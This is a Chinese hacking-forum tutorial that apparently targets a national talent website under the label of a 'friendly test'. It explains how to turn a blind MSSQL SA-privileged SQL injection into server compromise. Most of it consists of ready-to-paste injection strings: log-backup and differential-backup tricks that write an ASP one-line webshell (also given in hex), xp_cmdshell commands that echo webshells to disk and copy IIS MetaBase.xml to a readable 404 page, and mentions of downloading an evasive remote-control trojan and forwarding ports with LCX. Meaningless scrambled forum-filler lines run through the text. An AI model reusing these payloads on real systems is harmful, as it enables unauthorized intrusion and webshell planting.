sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

! t* h$ Q1 g( t& O5 R2 J# Y
                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
. h# c. v% J8 @- S' n: N; B
+ ], w1 O8 \! n4 c4 K7 D                                                                 
                                                                 
                                                                  论坛： http://www.90team.net/
. ~$ h" s& s4 y2 @
, ]; m& E6 \1 m, a5 N" X

友情检测国家人才网

2 R0 h! I/ t* V* ^# x8 E  m. T8 e  i
内容：MSSQL注入SA权限不显错模式下的入侵
$ e$ P' N* z8 P9 b9 }7 ?: V

一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
. B% D7 @7 D) E5 i& m* c
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


4 g+ j( C! H* B这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
  l, ]9 c& G/ C+ z3 ]
& R) Q4 X2 m1 h5 t( P- O4 F思路：

首先：
8 o- e- F  R+ K, d2 b  F! P- R
9 [; c, J/ d& p0 Q* t( o, T' w% L通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
3 \+ S+ W* u% }2 w2 ]
2.数据库差异备份获得Webshell
2 p; `4 A7 M4 ~
: g2 x; T2 V( H9 D4.直接下载免杀远控木马。
# ?/ e3 m/ ?$ ?/ A* Z  _
5.直接下载LCX将服务器端口转发出来
" n+ x  o/ a7 X- J% ~- N( A" u
: q& s1 g4 V6 N3 H: u- Z# e6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
9 p+ {/ `- o+ ~! f1 B: W

, u0 G7 H* |; z; x' J  ]
! s& v! ?4 m$ A: w) l; K在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
$ s9 a& t0 h: c! ~
我直接演示后面一个方法
. D( g; ~$ d9 V/ h9 A; z
" _0 j" A" u, R5 z. s! @# N
& s+ R) t6 {' I* L* l分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
, ~+ z4 i( e  n1 K8 ?2 [$ ]
6 o& S1 L/ e4 o  k3 N; k


◆日志备份：

% x' V2 F; J- S0 W8 M; Z
1. 进行初始备份
* d$ B: o( Q' ]+ r0 T; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
' f: K3 i' [6 _$ F
2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
) U2 T! z# d/ S6 z3 L6 ?
# v! d, T& w; L, ?: y0 f0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
2 `3 Z; I" b6 m# v3 O4 e6 f  
; C' V1 G# P1 C3. 备份并获得文件，删除临时表
) @4 z7 M6 M  ?& K* n+ @4 F7 x& C;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--


  k$ w$ b8 J4 D: h5 H$ `( Y3 k! E
◆数据库差异备份
+ {  E" g7 b) p$ t1 Q1 t, j
3 X( i& H% E5 Z; i（1. 进行差异备份准备工作
0 M$ `8 P+ z# D; \1 b  m
6 H& m6 v( p8 G: H" c# ~) a" s3 @0 \;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
% p6 {6 J+ m4 P3 s0 I
2 h* t$ \9 d' S' f5 ^上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
& L7 t) I/ i7 _% T' Z$ E
, y3 p, |! o# p* I1 U' u
. y, ?* M2 ~6 f$ @（2. 将数据写入到数据库
! S/ E' E) W9 t  t/ `! j;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
! X+ I& ^( K/ s! t; U& w
* k. b! K. E% P- X0 X. n+ B' o- T3. 备份数据库并清理临时文件
: y0 B# X' A* ?" W0 V9 ^! D
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

  w+ C, s/ S# {. a0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
+ i1 d3 ^4 k6 D+ s8 P$ I5 T4 p


$ J( G& o$ R) m' t& w( `; d6 D用^转义字符来写ASP(一句话木马)文件的方法:   

/ ]5 m% q6 l% u2 R9 ^: S& S9 h1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
4 h4 p$ m# H* o; O( l
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

9 L0 U1 T1 U# G, m. }6 d. S读取IIS配置信息获取web路径

/ B& Y# p  t$ P3 e' ~     
: [& |8 D6 @4 E     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

$ B+ ]( }, |! B5 V* r4 D% z3 |, c执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
% w) B/ m/ j) z- ^) w' M7 i. |

$ z6 u) R1 C$ a


. Z! Y4 W3 {0 w" g: a  L$ b
- X+ Q6 B5 N' Y
' n5 Y1 Q* t& C6 V
6 p+ `( Z5 E4 ]( Z
( V, y; f0 n* Q' ]+ Q

4 y8 i: ^* _( a- x" l1 N4 \
" K4 G- o3 B. {( n


$ F' ^5 c" m% V' z





% D8 D, Y2 o3 |6 t) O( g0 Y

0 Q6 M$ M3 I4 e& [& _
- H0 L5 ]/ p1 S- C

% z2 H7 C' I/ ~  f* s, `

8 m, I# j/ [9 M/ w- Y" D& k8 j6 ^


, t! Z; X1 B: q! n! x. E

6 v! b. z7 `0 ^  V- M, Y

! ^, `' y% W9 h) \


# d2 B2 Q* n# P/ z2 P2 c; @: w
/ g6 y3 x7 ~6 R% ~# y, u
- `0 L6 ?' }1 j7 D
) f, J% n& H: l4 Q0 w
+ b* X! R& k4 w: R6 I. u


  }* G: {" g% q. ^7 w
. e( K$ z" R# t+ j- h9 a) I' j
/ V. S. a0 s2 z! t/ ^
: `8 n2 L7 S: @7 m' e5 L